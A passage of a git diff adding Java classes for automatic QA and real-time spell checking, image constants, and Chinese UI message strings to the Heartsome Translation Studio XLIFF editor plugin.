AutomaticQATrigger(XLFHandler handler) { + runExtension(); + if (checkAutoQA()) { + autoQA.setInitData(handler); + } + } + + /** + * 开始进行自动å“质检查 + * + * @param isAddToDb + * 若为true,则是入库æ“作,若false,则为批准æ“作 + */ + public String beginAutoQa(boolean isAddToDb, String rowId, boolean needInitQAResultViewer) { + if (!checkAutoQA()) { + return ""; + } + return autoQA.beginAutoQa(isAddToDb, rowId, needInitQAResultViewer); + } + + public boolean checkAutoQA() { + if (autoQA == null) { + return false; + } + return true; + } + + /** + * 加载自动å“质检查的扩展 + */ + private void runExtension() { + IConfigurationElement[] config = Platform.getExtensionRegistry() + .getConfigurationElementsFor(CONSTANT_automaticQA_EXTENSION_ID); + try { + for (IConfigurationElement e : config) { + final Object o = e.createExecutableExtension("class"); + if (o instanceof IAutomaticQA) { + ISafeRunnable runnable = new ISafeRunnable() { + public void handleException(Throwable exception) { + exception.printStackTrace(); + } + public void run() throws Exception { + autoQA = (IAutomaticQA) o; + } + }; + SafeRunner.run(runnable); + } + } + } catch (CoreException e) { + LOGGER.error("", e); + e.printStackTrace(); + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/qa/IAutomaticQA.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/qa/IAutomaticQA.java new file mode 100644 index 0000000..61ef4bd --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/qa/IAutomaticQA.java @@ -0,0 +1,18 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.qa; + +import net.heartsome.cat.ts.core.file.XLFHandler; + +/** + * 自动å“è´¨æ£€æŸ¥çš„æŽ¥å£ + * @author robert 2012-05-16 + */ +public interface IAutomaticQA { + /** + * 开始自动å“质检查 + * @param isAddToDb + * @param rowId + * @return + */ + public String beginAutoQa(boolean isAddToDb, String rowId, boolean needInitQAResultViewer); + public void setInitData(XLFHandler handler); +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/qa/IRealTimeSpellCheck.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/qa/IRealTimeSpellCheck.java new file mode 100644 index 0000000..c1fc882 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/qa/IRealTimeSpellCheck.java @@ -0,0 +1,26 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.qa; + +import java.util.List; + +import net.heartsome.cat.ts.core.bean.SingleWord; + +/** + * å®žæ—¶æ£€æŸ¥çš„æŽ¥å£ + * @author robert 2013-01-21 + */ +public interface IRealTimeSpellCheck { + /** + * æ ¹æ®ä¼ å…¥çš„文本段以åŠè¯­ç§ï¼ŒèŽ·å–错误的å•è¯ + * @param tgtText ,这是获å–的带标记的目标文本段 + */ + List getErrorWords(String tgtText, String language); + + /** + * æ ¹æ®ä¼ å…¥çš„语言,检查当å‰æ‹¼å†™æ£€æŸ¥å™¨æ˜¯å¦æ”¯æŒ + * @param language + * @return + */ + boolean checkLangAvailable(String language); + + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/qa/RealTimeSpellCheckTrigger.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/qa/RealTimeSpellCheckTrigger.java new file mode 100644 index 0000000..b8b3f79 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/qa/RealTimeSpellCheckTrigger.java @@ -0,0 +1,100 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.qa; + +import java.util.List; + +import net.heartsome.cat.ts.core.bean.SingleWord; + +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IConfigurationElement; +import org.eclipse.core.runtime.ISafeRunnable; +import org.eclipse.core.runtime.Platform; +import org.eclipse.core.runtime.SafeRunner; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * nattable 编辑界é¢å®žæ—¶æ£€æŸ¥è§¦å‘ç±» + * @author robert 2013-01-21 + */ +public class RealTimeSpellCheckTrigger { + private static RealTimeSpellCheckTrigger instance = null; + private IRealTimeSpellCheck realTimeSpell; + /** 这是实时检查的扩展点 id */ + private static final String CONSTANT_realTimeSpell_extentionId = "net.heartsome.cat.ts.ui.xliffeditor.nattable.extension.realTimeSpellCheck"; + private static final Logger LOGGER = LoggerFactory.getLogger(RealTimeSpellCheckTrigger.class.getName()); + + private RealTimeSpellCheckTrigger(){ + if (realTimeSpell == null) { + runExtension(); + } + if (realTimeSpell == null) { + // TODO ... + } + } + + public static RealTimeSpellCheckTrigger getInstance(){ + if (instance == null) { + instance = new RealTimeSpellCheckTrigger(); + } + return instance; + } + + /** + * 检查拼写检查是å¦å¯ç”¨ï¼Œåˆ†ä¸ºå››ç§æƒ…况,
    + * 1ã€Spell 实例是å¦ä¸ºç©ºï¼Œç”± trigger 类控制
    + * 2ã€ç³»ç»Ÿæ˜¯å¦é€‰æ‹©å‹¾é€‰å®žæ—¶æ£€æŸ¥ã€‚
    + * 3ã€å½“å‰æ‹¼å†™æ£€æŸ¥å™¨æ˜¯å¦æ”¯æŒå½“å‰è¯­ç§çš„拼写检查。
    + * 4ã€æ‹¼å†™æ£€æŸ¥å™¨æ˜¯å¦è¿è¡Œé”™è¯¯ï¼Œæˆ–者é…置错误。
    + * @return + */ + public boolean checkSpellAvailable(String language){ + if (realTimeSpell == null) { + return false; + } + + if (!realTimeSpell.checkLangAvailable(language)) { + return false; + } + return true; + } + + /** + * 获å–错误的å•è¯ + * @param text + * @param targetLanguage + * @return + */ + public List getErrorWords(String tgtText, String targetLanguage){ + return realTimeSpell.getErrorWords(tgtText, targetLanguage); + } + + + /** + * 加哉实时拼写检查 ; + */ + private void runExtension() { + IConfigurationElement[] config = Platform.getExtensionRegistry() + .getConfigurationElementsFor(CONSTANT_realTimeSpell_extentionId); + try { + for (IConfigurationElement e : config) { + final Object o = e.createExecutableExtension("class"); + if (o instanceof IRealTimeSpellCheck) { + ISafeRunnable runnable = new ISafeRunnable() { + public void handleException(Throwable exception) { + exception.printStackTrace(); + } + public void run() throws Exception { + realTimeSpell = (IRealTimeSpellCheck) o; + } + }; + SafeRunner.run(runnable); + } + } + } catch (CoreException e) { + LOGGER.error("", e); + e.printStackTrace(); + } + } + + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/resource/ImageConstant.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/resource/ImageConstant.java new file mode 100644 index 0000000..cae8f2c --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/resource/ImageConstant.java @@ -0,0 +1,34 @@ +/** + * ImageConstant.java + * + * Version information : + * + * Date:Mar 15, 2012 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.resource; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public final class ImageConstant { + // XLIFFEDITORå³é”®èœå• + public final static String TU_STATE_SEARCHTM = "images/state/search-tm.png"; + public final static String TU_STATE_SEARCHTB = "images/state/search-tb.png"; + public final static String TU_STATE_ADDNOTE = "images/state/add-note.png"; + public final static String TU_STATE_EDITNOTE = "images/state/edit-note.png"; + public final static String TU_STATE_DELETENOTE = "images/edit/delete note.png"; + // delete segment translation + public final static String TU_STATE_DELETETRANS = "images/edit/delete translation.png"; + + /** 工具æ ->改å˜å¸ƒå±€çš„水平布局图片路径 */ + public final static String TOOL_LAYOUT_HORIZONTAL = "images/tool/horizontal.png"; + /** 工具æ ->改å˜å¸ƒå±€çš„垂直布局图片路径 */ + public final static String TOOL_LAYOUT_VERTICAL = "images/tool/vertical.png"; +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/resource/Messages.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/resource/Messages.java new file mode 100644 index 0000000..91f0da5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.nattable"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/resource/nattable.properties b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/resource/nattable.properties new file mode 100644 index 0000000..76b5076 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/resource/nattable.properties @@ -0,0 +1,219 @@ +dataprovider.VerticalLayerBodyDataProvider.logger1 = [LOG] \u4fee\u6539\u7684\u5355\u5143\u683c\u7684\u5217\u7d22\u5f15\u4e0d\u6b63\u786e\u3002 + +dialog.AddOrUpdateNoteDialog.title1 = \u6dfb\u52a0\u6279\u6ce8 +dialog.AddOrUpdateNoteDialog.title2 = \u7f16\u8f91\u6279\u6ce8 +dialog.AddOrUpdateNoteDialog.label = \u5e94\u7528\u8303\u56f4\uff1a +dialog.AddOrUpdateNoteDialog.noteGroup = \u6279\u6ce8\uff1a +dialog.AddOrUpdateNoteDialog.msgTitle = \u63d0\u793a +dialog.AddOrUpdateNoteDialog.msg = \u8bf7\u8f93\u5165\u6279\u6ce8\u5185\u5bb9\u3002 +dialog.CustomFilterDialog.initPropName = \u8bf7\u8f93\u5165\u5c5e\u6027\u540d +dialog.CustomFilterDialog.initPropValue = \u8bf7\u8f93\u5165\u5c5e\u6027\u503c +dialog.CustomFilterDialog.initValue = \u8bf7\u8f93\u5165\u6761\u4ef6\u503c +dialog.CustomFilterDialog.title = \u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668 +dialog.CustomFilterDialog.c1Lbl = \u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\uff1a +dialog.CustomFilterDialog.addCustom = \u6dfb\u52a0 +dialog.CustomFilterDialog.msg1 = \u5f53\u524d\u8fc7\u6ee4\u5668\u5df2\u88ab\u4fee\u6539\u3001\u4e14\u5c1a\u672a\u4fdd\u5b58\uff0c\u5173\u95ed\u540e\u5c06\u4e22\u5931\u6b64\u6b21\u4fee\u6539\u3002\u786e\u5b9a\u8981\u7ee7\u7eed\u5417\uff1f +dialog.CustomFilterDialog.delCustom = \u5220\u9664 +dialog.CustomFilterDialog.msg2 = \u786e\u5b9a\u8981\u5220\u9664\u9009\u4e2d\u7684\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5417\uff1f +dialog.CustomFilterDialog.msg3 = \u8bf7\u9009\u62e9\u8981\u5220\u9664\u7684\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u3002 +dialog.CustomFilterDialog.editCustom = \u7f16\u8f91 +dialog.CustomFilterDialog.topLbl = \u8fc7\u6ee4\u5668\u540d\u79f0\uff1a +dialog.CustomFilterDialog.andBtn = \u6ee1\u8db3\u4ee5\u4e0b\u6240\u6709\u6761\u4ef6 +dialog.CustomFilterDialog.orBtn = \u6ee1\u8db3\u4ee5\u4e0b\u4efb\u4e00\u6761\u4ef6 +dialog.CustomFilterDialog.msg4 = \u8bf7\u9009\u62e9\u8981\u7f16\u8f91\u7684\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u3002 +dialog.CustomFilterDialog.okBtn = \u4fdd\u5b58 +dialog.CustomFilterDialog.cancelBtn = \u5173\u95ed +dialog.CustomFilterDialog.msg5 = \u5f53\u524d\u8fc7\u6ee4\u5668\u5df2\u88ab\u4fee\u6539\u3001\u4e14\u5c1a\u672a\u4fdd\u5b58\uff0c\u5173\u95ed\u540e\u5c06\u4e22\u5931\u6b64\u6b21\u4fee\u6539\u3002\u786e\u5b9a\u8981\u7ee7\u7eed\u5417\uff1f +dialog.CustomFilterDialog.msg6 = \u8bf7\u8f93\u5165\u8fc7\u6ee4\u5668\u540d\u79f0\u3002 +dialog.CustomFilterDialog.tmpValue1 = \u5173\u952e\u5b57 +dialog.CustomFilterDialog.tmpValue2 = \u6279\u6ce8 +dialog.CustomFilterDialog.tmpValue3 = \u5c5e\u6027 +dialog.CustomFilterDialog.contain = \u5305\u542b +dialog.CustomFilterDialog.uncontain = \u4e0d\u5305\u542b +dialog.CustomFilterDialog.eq = \u7b49\u4e8e +dialog.CustomFilterDialog.neq = \u4e0d\u7b49\u4e8e +dialog.CustomFilterDialog.msg7 = \u8bf7\u8f93\u5165\u5173\u952e\u5b57\u7684\u6761\u4ef6\u503c\u3002 +dialog.CustomFilterDialog.msg8 = \u8bf7\u8f93\u5165\u6279\u6ce8\u7684\u6761\u4ef6\u503c\u3002 +dialog.TagNumberRequest.title = \u6807\u8bb0\u5e8f\u53f7 +dialog.TagNumberRequest.lblNumber = \u6807\u8bb0\u5e8f\u53f7\uff1a +dialog.UpdateNoteDialog.title = \u7f16\u8f91\u6279\u6ce8 +dialog.UpdateNoteDialog.noteGroup = \u6279\u6ce8 +dialog.UpdateNoteDialog.tableColumn1 = \u5e8f\u53f7 +dialog.UpdateNoteDialog.tableColumn2 = \u7528\u6237 +dialog.UpdateNoteDialog.tableColumn3 = \u65e5\u671f +dialog.UpdateNoteDialog.tableColumn4 = \u6279\u6ce8 +dialog.UpdateNoteDialog.tableColumn5 = \u5e94\u7528\u8303\u56f4 +dialog.UpdateNoteDialog.btnAdd = \u6dfb\u52a0(&A)... +dialog.UpdateNoteDialog.btnEdit = \u7f16\u8f91(&E)... +dialog.UpdateNoteDialog.btnDelete = \u5220\u9664(&D) +dialog.UpdateNoteDialog.loggerInfo = [LOG] \u83b7\u53d6 XLIFF \u6587\u4ef6\u7684 note \u8282\u70b9\u65f6\u51fa\u73b0\u9519\u8bef +dialog.UpdateNoteDialog.msgTitle1 = \u63d0\u793a +dialog.UpdateNoteDialog.msg1 = \u8bfb\u53d6 XLIFF \u6587\u4ef6\u65f6\u51fa\u9519\uff0c\u8bf7\u91cd\u8bd5\u3002\u82e5\u6b64\u95ee\u9898\u4ecd\u7136\u5b58\u5728\uff0c\u5219\u8be5 XLIFF \u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 +dialog.UpdateNoteDialog.msg2 = \u8bf7\u9009\u62e9\u8981\u7f16\u8f91\u7684\u6279\u6ce8\u3002 +dialog.UpdateNoteDialog.msg3 = \u8bf7\u9009\u62e9\u8981\u5220\u9664\u7684\u6279\u6ce8\u3002 +dialog.UpdateNoteDialog.msgTitle2 = \u786e\u8ba4 +dialog.UpdateNoteDialog.msg4 = \u786e\u5b9a\u8981\u5220\u9664\u6240\u9009\u62e9\u7684\u6279\u6ce8\u5417\uff1f + +editor.NatTableConstant.CURRENT_TEXT = \u9009\u4e2d\u6587\u672c\u6bb5 +editor.NatTableConstant.ALL_TEXT = \u6240\u6709\u6587\u672c\u6bb5 +editor.StyledTextCellEditor.msg1 = \u8be5\u6587\u672c\u6bb5\u5df2\u9501\u5b9a\u3002 +editor.StyledTextCellEditor.msg2 = \u6e90\u6587\u672c\u5904\u4e8e\u4e0d\u53ef\u7f16\u8f91\u72b6\u6001\u3002 +editor.TextPainterWithPadding.msg1 = NatTable \u5c1a\u672a\u521d\u59cb\u5316\u3002 +editor.XLIFFEditorActionHandler.msgTitle = \u9519\u8bef +editor.XLIFFEditorActionHandler.msg = \u4e0d\u5141\u8bb8\u5c06\u6e90\u6587\u5168\u90e8\u5220\u9664\uff0c\u8bf7\u91cd\u8bd5\u3002 +editor.XLIFFEditorImplWithNatTable.msg1 = \u6587\u4ef6 {0} \u5df2\u5b58\u5728\u3002\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f +editor.XLIFFEditorImplWithNatTable.overwriteDialog = \u53e6\u5b58\u4e3a +editor.XLIFFEditorImplWithNatTable.msgTitle1 = \u53e6\u5b58\u4e3a\u65f6\u51fa\u9519 +editor.XLIFFEditorImplWithNatTable.msg2 = \u65e0\u6cd5\u5b8c\u6210\u4fdd\u5b58\uff0c\u9519\u8bef\u4fe1\u606f\uff1a\n{0} +editor.XLIFFEditorImplWithNatTable.msg3 = \u672a\u627e\u5230\u8981\u590d\u5236\u7684\u6587\u4ef6 {0}\u3002 +editor.XLIFFEditorImplWithNatTable.msgTitle2 = \u9519\u8bef +editor.XLIFFEditorImplWithNatTable.logger1 = [LOG] init(IEditorSite site, IEditorInput input) +editor.XLIFFEditorImplWithNatTable.msg4 = \u6253\u5f00\u6587\u4ef6\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +editor.XLIFFEditorImplWithNatTable.msgTitle3 = \u9519\u8bef +editor.XLIFFEditorImplWithNatTable.msg5 = \u8bf7\u9009\u62e9\u8981\u6253\u5f00\u7684\u6587\u4ef6\u3002 +editor.XLIFFEditorImplWithNatTable.translationItem = \u7ffb\u8bd1\u8fdb\u5ea6 +editor.XLIFFEditorImplWithNatTable.approveItem = \u6279\u51c6\u8fdb\u5ea6 +editor.XLIFFEditorImplWithNatTable.rowLocationStr = \ \u884c\u53f7 +editor.XLIFFEditorImplWithNatTable.btnAddFilter = \u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668 +editor.XLIFFEditorImplWithNatTable.btnAddFilterTooltip = \u7ba1\u7406\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668 +editor.XLIFFEditorImplWithNatTable.messageFormat1 = \u6587\u4ef6\uff1a{0} | \u884c\u53f7\uff1a{1} | \u53ef\u89c1\uff1a{2} | \u603b\u6570\uff1a{3} | \u7528\u6237\u540d\uff1a{4} +editor.XLIFFEditorImplWithNatTable.messageFormat2 = \u6587\u4ef6\uff1a{0} | \u53ef\u89c1\uff1a{2} | \u603b\u6570\uff1a{3} | \u7528\u6237\u540d\uff1a{4} +editor.XLIFFEditorImplWithNatTable.statusColumn = \u72b6\u6001 +editor.XLIFFEditorImplWithNatTable.msg6 = \u7a0b\u5e8f\u5185\u90e8\u9519\u8bef\uff0c\u8bf7\u8054\u7cfb Heartsome Translation Studio \u7684\u6280\u672f\u652f\u6301\u4eba\u5458\uff0c\u5e76\u63d0\u4f9b\u4ee5\u4e0b\u9519\u8bef\u4fe1\u606f\uff1a\n\u5f53\u524d\u7684\u6570\u636e\u63d0\u4f9b\u8005\u7c7b\u578b {0} \u4e0d\u662f\u9884\u671f\u7684 ISpanningDataProvider\u3002 + +handler.ChangeEditorLayoutHandler.horizontalTooltip = \u5c06\u7f16\u8f91\u5668\u6539\u4e3a\u5782\u76f4\u5e03\u5c40 +handler.ChangeEditorLayoutHandler.verticalTooltip = \u5c06\u7f16\u8f91\u5668\u6539\u4e3a\u6c34\u5e73\u5e03\u5c40 +handler.CopySourceHandler.msgTitle = \u63d0\u793a +handler.CopySourceHandler.msg = \u9009\u62e9\u7684\u6587\u672c\u6bb5\u4e2d\u5305\u542b\u201c\u5df2\u9501\u5b9a\u201d\u6587\u672c\u6bb5\uff0c\u7ee7\u7eed\u6267\u884c\u8be5\u64cd\u4f5c\u5c06\u4e0d\u4f1a\u5bf9\u8fd9\u4e9b\u5df2\u9501\u5b9a\u6587\u672c\u6bb5\u751f\u6548\u3002 +handler.DeleteCurrentSegmentAltTransHandler.msgTitle1 = \u786e\u8ba4 +handler.DeleteCurrentSegmentAltTransHandler.msgTitle2 = \u63d0\u793a +handler.DeleteCurrentSegmentAltTransHandler.msg1 = \u786e\u5b9a\u8981\u5220\u9664\u6240\u9009\u62e9\u6587\u672c\u6bb5\u7684\u5168\u90e8\u5339\u914d\u5417\uff1f +handler.DeleteCurrentSegmentAltTransHandler.msg2 = \u6240\u9009\u62e9\u7684\u6587\u672c\u6bb5\u5df2\u9501\u5b9a\uff0c\u65e0\u6cd5\u6267\u884c\u6b64\u64cd\u4f5c\u3002 +handler.DeleteCurrentSegmentAltTransHandler.msg3 = \u7b2c {0} \u4e2a\u6587\u672c\u6bb5\u5df2\u9501\u5b9a\uff0c\u65e0\u6cd5\u6267\u884c\u6b64\u64cd\u4f5c\u3002 +handler.DeleteSelectionSegmentNotesHandler.msgTitle1 = \u786e\u8ba4 +handler.DeleteSelectionSegmentNotesHandler.msgTitle2 = \u63d0\u793a +handler.DeleteSelectionSegmentNotesHandler.msg1 = \u786e\u5b9a\u8981\u5220\u9664\u6240\u9009\u62e9\u6587\u672c\u6bb5\u7684\u5168\u90e8\u6279\u6ce8\u5417\uff1f +handler.DeleteSelectionSegmentNotesHandler.msg2 = \u5220\u9664\u6279\u6ce8\u65f6\u51fa\u73b0\u9519\u8bef +handler.DeleteSelectionSegmentTranslationsHandler.msgTitle1 = \u5220\u9664\u786e\u8ba4 +handler.DeleteSelectionSegmentTranslationsHandler.msg1 = \u786e\u5b9a\u8981\u5220\u9664\u9009\u4e2d\u6587\u672c\u6bb5\u7684\u7ffb\u8bd1\u5417\uff1f +handler.DeleteSelectionSegmentTranslationsHandler.msgTitle2 = \u63d0\u793a +handler.DeleteSelectionSegmentTranslationsHandler.msg2 = \u7b2c {0} \u4e2a\u6587\u672c\u6bb5\u5df2\u9501\u5b9a\uff0c\u65e0\u6cd5\u5220\u9664\u5176\u8bd1\u6587\u3002 +handler.DeleteToEndOrToTagHandler.msgTitle = \u63d0\u793a +handler.SplitSegmentHandler.msgTitle = \u63d0\u793a +handler.SplitSegmentHandler.msg1 = \u8bf7\u5c06\u5149\u6807\u653e\u5728\u6e90\u6587\u4e2d\u8981\u5206\u5272\u7684\u4f4d\u7f6e\u3002 +handler.SplitSegmentHandler.msg2 = \u5f53\u524d\u6587\u672c\u6bb5\u5df2\u9501\u5b9a\uff0c\u65e0\u6cd5\u5206\u5272\u3002 +handler.SplitSegmentHandler.msg3 = \u65e0\u6cd5\u4ece\u6587\u672c\u6bb5\u9996/\u672b\u4f4d\u7f6e\u5206\u5272\uff0c\u8bf7\u9009\u62e9\u975e\u6bb5\u9996/\u6bb5\u672b\u4f4d\u7f6e\u8fdb\u884c\u5206\u5272\u3002 +handler.UpdateDataAndAutoResizeCommandHandler.logger1 = [LOG] \u65e0\u6cd5\u5c06\u503c\u66f4\u65b0\u4e3a\uff1a{0} + +changeCase.ChangeCaseHandler.msgTitle = \u63d0\u793a +changeCase.ChangeCaseHandler.msg1 = \u6240\u9009\u6587\u672c\u6bb5\u5df2\u9501\u5b9a\uff0c\u65e0\u6cd5\u6267\u884c\u6b64\u64cd\u4f5c\u3002 +changeCase.ChangeCaseHandler.msg2 = \u6240\u9009\u6587\u672c\u6bb5\u4e0d\u53ef\u7f16\u8f91\uff0c\u65e0\u6cd5\u6267\u884c\u6b64\u64cd\u4f5c\u3002 +changeCase.ChangeCaseHandler.msg3 = \u6240\u9009\u6587\u672c\u6bb5\u5df2\u9501\u5b9a\uff0c\u65e0\u6cd5\u6267\u884c\u6b64\u64cd\u4f5c\u3002 +changeCase.ChangeCaseHandler.msg4 = \u7b2c {0} \u4e2a\u6587\u672c\u6bb5\u5df2\u9501\u5b9a\uff0c\u65e0\u6cd5\u6267\u884c\u6b64\u64cd\u4f5c\u3002 + +tags.DeleteAllTagsHandler.msgTitle = \u63d0\u793a +tags.DeleteAllTagsHandler.msg1 = \u7b2c {0} \u4e2a\u6587\u672c\u6bb5\u5df2\u9501\u5b9a\uff0c\u65e0\u6cd5\u5220\u9664\u5176\u5185\u90e8\u6807\u8bb0\u3002 +tags.DeleteAllTagsHandler.msg2 = \u4e0d\u5141\u8bb8\u5220\u9664\u6e90\u6587\u4e2d\u7684\u6807\u8bb0\u3002 + +translation.AddSegmentToTMHandler.msgTitle = \u63d0\u793a +translation.AddSegmentToTMHandler.msg = \u524d\u9762\u7684\u6587\u672c\u6bb5\u4e2d\u5df2\u65e0\u6a21\u7cca\u5339\u914d\u6587\u672c\u6bb5\u3002 +translation.ApproveSegmentHandler.msgTitle = \u6279\u51c6\u6587\u672c\u6bb5 +translation.ExecuteFuzzyTranslationHandler.task1 = \u6b63\u5728\u6267\u884c\u6279\u51c6\u64cd\u4f5c... +translation.ExecuteFuzzyTranslationHandler.task2 = \u7e41\u6b96\u7ffb\u8bd1\uff0c\u5904\u7406\u6587\u672c\u6bb5... + +menu.BodyMenuConfiguration.searchTM = \ \u76f8\u5173\u641c\u7d22... +menu.BodyMenuConfiguration.logger1 = [LOG] \u6267\u884c\u76f8\u5173\u641c\u7d22\u65f6\u51fa\u73b0\u9519\u8bef +menu.BodyMenuConfiguration.msgTitle = \u63d0\u793a +menu.BodyMenuConfiguration.msg1 = \u8fdb\u884c\u76f8\u5173\u641c\u7d22\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 +menu.BodyMenuConfiguration.searchTermItem = \ \u672f\u8bed\u641c\u7d22... +menu.BodyMenuConfiguration.logger2 = [LOG] \u6267\u884c\u641c\u7d22\u672f\u8bed\u529f\u80fd\u65f6\u51fa\u73b0\u9519\u8bef +menu.BodyMenuConfiguration.msg2 = \u8fdb\u884c\u641c\u7d22\u672f\u8bed\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 +menu.BodyMenuConfiguration.emptyTranslationItem = \ \u672a\u7ffb\u8bd1 +menu.BodyMenuConfiguration.draftItem = \ \u8349\u7a3f +menu.BodyMenuConfiguration.translatedItem = \ \u5b8c\u6210\u7ffb\u8bd1 +menu.BodyMenuConfiguration.logger3 = [LOG] \u6267\u884c\u5b8c\u6210\u7ffb\u8bd1\u65f6\u51fa\u73b0\u9519\u8bef +menu.BodyMenuConfiguration.msg3 = \u5b8c\u6210\u7ffb\u8bd1\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 +menu.BodyMenuConfiguration.approveItem = \ \u6279\u51c6 +menu.BodyMenuConfiguration.logger4 = [LOG] \u6267\u884c\u6279\u51c6\u65f6\u51fa\u73b0\u9519\u8bef +menu.BodyMenuConfiguration.msg4 = \u6279\u51c6\u6587\u672c\u6bb5\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 +menu.BodyMenuConfiguration.signItem = \ \u7b7e\u53d1 +menu.BodyMenuConfiguration.isLockItem = \ \u9501\u5b9a/\u89e3\u9501 +menu.BodyMenuConfiguration.problemItem = \ \u6709\u7591\u95ee +menu.BodyMenuConfiguration.disAddToTMItem = \ \u4e0d\u6dfb\u52a0\u5230\u8bb0\u5fc6\u5e93 +menu.BodyMenuConfiguration.addNoteItem = \ \u6dfb\u52a0\u6279\u6ce8... +menu.BodyMenuConfiguration.editNoteItem = \ \u7f16\u8f91\u6279\u6ce8... +menu.BodyMenuConfiguration.msg5 = \u8bf7\u9009\u62e9\u8981\u7f16\u8f91\u7684\u6279\u6ce8\u3002 +menu.BodyMenuConfiguration.deleteNoteItem = \ \u5220\u9664\u6279\u6ce8 +menu.BodyMenuConfiguration.logger5 = [LOG] 